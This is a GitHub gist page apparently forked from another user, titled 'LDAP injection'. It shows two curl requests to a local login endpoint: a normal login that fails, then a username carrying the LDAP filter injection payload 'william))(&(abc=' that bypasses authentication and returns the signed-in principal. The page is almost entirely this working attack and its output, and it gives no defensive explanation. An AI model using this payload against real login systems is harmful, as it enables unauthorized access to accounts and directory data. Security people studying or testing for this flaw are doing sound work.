Skip to content

Instantly share code, notes, and snippets.

@cdprf

cdprf/LDAP injection

Forked from nani1337/LDAP injection
Created September 4, 2022 23:28
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save cdprf/24088c0ec21afe3ddeebbecb2e6eba27 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save cdprf/24088c0ec21afe3ddeebbecb2e6eba27 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @nani1337 nani1337 created this gist Jun 27, 2022.
    7 changes: 7 additions & 0 deletions LDAP injection
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,7 @@
    § curl "william:password@localhost:9080/login"
    Login failed

    By exploiting the LDAP injection, we bypass the LDAP filter constraint and are successfully signed in:

    $ curl "william))(&(abc=:password@localhost:9080/login"
    WSPrincipal:uid=william,cn=users,dc=my-company,dc=com